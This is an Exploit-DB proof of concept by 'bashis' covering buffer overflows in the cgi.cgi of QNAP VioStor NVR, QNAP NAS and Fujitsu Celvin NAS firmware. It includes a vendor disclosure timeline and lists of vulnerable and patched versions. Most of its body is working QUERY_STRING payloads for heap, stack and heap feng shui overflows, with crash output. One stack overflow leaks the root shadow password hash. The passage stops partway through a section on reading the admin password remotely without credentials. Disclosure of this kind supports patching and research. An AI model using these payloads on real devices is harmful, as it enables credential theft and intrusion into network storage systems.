Exploit-DB #41219
Description: QNAP NVR/NAS Devices - Buffer Overflow (PoC)
Type: dos
Platform: hardware
Date: 2017-02-01
Author: bashis

Exploit:
Device Model: QNAP VioStor NVR, QNAP NAS, Fujitsu Celvin NAS (May be additional re-branded)
Attack Vector: Remote
Attack Models: 
1. Classic Heap Overflows
2. Classic Stack Overflow
3. Heap Feng Shui Overflow
4. "Heack Combo" (Heap / Stack Combination) Overflow


[Timeline]
07/01/2017:
QNAP contacted me after my post to Bugtraq 31/12/2016 (http://seclists.org/bugtraq/2017/Jan/5).
Provided additional details, never heard anything back from QNAP.
(The patched FW versions Iâ€™ve found out by myself, no feedback from QNAP)

29/01/2017:
Sent this document to QNAP <security@qnap.com>, asked for feedback and also if they have any objections before publish

31/01/2017:
No reply.
- Frankly speaking - ignorance; next batch will be Full Disclosure without any prior notice nor reply to QNAP (oOoo).

[Vulnerable]
QNAP VioStor NVR: QVR 5.1.x (Patched?)
QNAP NAS: QTS 4.3.2 Beta (Patched?)
QNAP NAS: QTS older than 4.2.3 (build 20170121)
Fujitsu Celvin NAS: older than 4.2.3 (build 20170110)

[Not Vulnerable]
QNAP NAS: QTS >= 4.2.3 (build 20170121)
Fujitsu Celvin NAS: >= 4.2.3 (build 20170110)

[Vendor security alert]
https://www.qnap.com/en/support/con_show.php?cid=108

[Vendor URL]
https://www.qnap.com/
http://www.qnapsecurity.com/
http://www.fujitsu.com/fts/products/computing/peripheral/accessories/storage/

Note: All hardcoded examples below, made with TS-251+ QTS 4.2.2 (Build 20161214)


===[ 1. Classic Heap Overflows ]===

1. Both the tags "u" (user) and "p" (password) suffer of heap overflow, that alone allows us to overwrite wilderness top chunk size.
2. The tag "pp" (sysApp) suffer of stack overflow, that alone allows to us to overwrite libc_argv[0].

Note: Local shown below, but can of course be triggered remote as well


/* Heap #1 to overwrite the heap wilderness top chunk size */

# export QUERY_STRING="u=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff"                                  
# ./cgi.cgi 
*** glibc detected *** ./cgi.cgi: double free or corruption (out): 0x0806b0d0 ***


/* Heap #2 to overwrite the heap wilderness top chunk size */

# export QUERY_STRING="u=admin&p=`for((i=0;i<260;i++));do echo -en "A";done`%ff%ff%ff%ff"
# ./cgi.cgi 
*** glibc detected *** ./cgi.cgi: double free or corruption (out): 0x0806b2a0 ***



===[ 2. Classic Stack Overflow ]===

/* Stack Overflow to overwrite libc_argv[0] address pointer for reading shadow password */

# export QUERY_STRING="u=admin&pp=`for((i=0;i<4468;i++));do echo -en "A";done`%7e%c7%06%08"
# ./cgi.cgi                                                                                
Content-type: text/xml

<?xml version="1.0" encoding="UTF-8" ?>
<QDocRoot version="1.0">
<authPassed><![CDATA[0]]></authPassed></QDocRoot>
*** stack smashing detected ***: $1$$CoERg7ynjYLsj2j4glJ34. terminated
Aborted


As we can see above, the implemented GLIBC heap/stack protections works quite sufficient, pretty much nothing interesting can be achieved.
But, when we start to combining vulnerabilities, flaws and near functions with each other, things starting to get a bit more interesting.



===[ 3. Heap Feng Shui with Heap #1 and #2 Overflow ]===

/* Heap overflow with freed junk chunks, to overwrite next heap chunk header */

One of the first functions that runs in the CGI, is CGI_Get_Input(), this function takes all our input to the CGI and allocates memory on the heap for later use with CGI_Find_Parameter(); This allow us to create junk memory chunks more or less wherever we would like to have them, have them freed, and then later have them allocated for our use.

The for() loop with char "B" will create used and freed space before "p" at heap by CGI_Get_Input();

The upcoming calloc() for "u" will use this space, and the content in "u" will be copied here and overflow into "p":s heap chunk header.
[The abort() happens in <fgetpwent+402>: malloc() from Get_Exact_NAS_User_Name() call, and not in "p":s calloc()]

/* Controlling: eax, edx, esi */
# export QUERY_STRING="u=`for((i=0;i<80;i++));do echo -en "A";done`%fc%ff%ff%ff%fc%ff%ff%ffCCCC%6c%b1%06%08&QNAP=`for((i=0;i<32;i++));do echo -en "B";done`&p=PPPP"
# ./cgi.cgi
*** glibc detected *** /home/httpd/cgi-bin/cgi.cgi: corrupted double-linked list: 0x0806b154 ***



Below I will demonstrate another interesting combination found while exploring,
that easily can be exploited remotely without credentials and without any prior knowledge of the remote target.



===[ 4. "Heack Combo" (Heap / Stack Combination) Overflow ]===

/* Combined heap overflow #2 with base64 decoded stack overwrite, to remotely calculate and retrieve shadowed admin (root) password */

We will here combine the "GLIBC detected" abort message in GNU LIBC thatâ€™s triggered by an Heap Overflow, together with base64 encoded request string to cgi.cgi in QNAP devices, where the internal b64_Decode() function will (right after the heap overflow) be called and do an stack overwrite of address pointer for libc_argv[0], with the address we choose, which will allow us to read a string almost anywhere.

In this PoC we are using the address for the heap loaded admin (root) /etc/shadow password, to remotely read this string for displaying instead of the program name.

The critical part is to correctly align the request with the address pointer for libc_argv[0], and below you will find guidance for success.

Notes:
1. Sending 0x00-0xff to the stack will work just fine, since the request for "p" will be base64 decoded. (theoretically, we could rewrite the stack as how we would like to have it)
2. Iâ€™m using HTTPS/SSL to have some privacy while fuzzing, only to show some people that HTTPS/SSL donâ€™t make them secure by default. (HTTP works of course too)
3. Right before and after the address pointer for libc_argv[0], we have (harmless?) segfaults in strlen() / getenv() due to reading of invalid addresses.
4. The "\nHost: Qâ€ is nee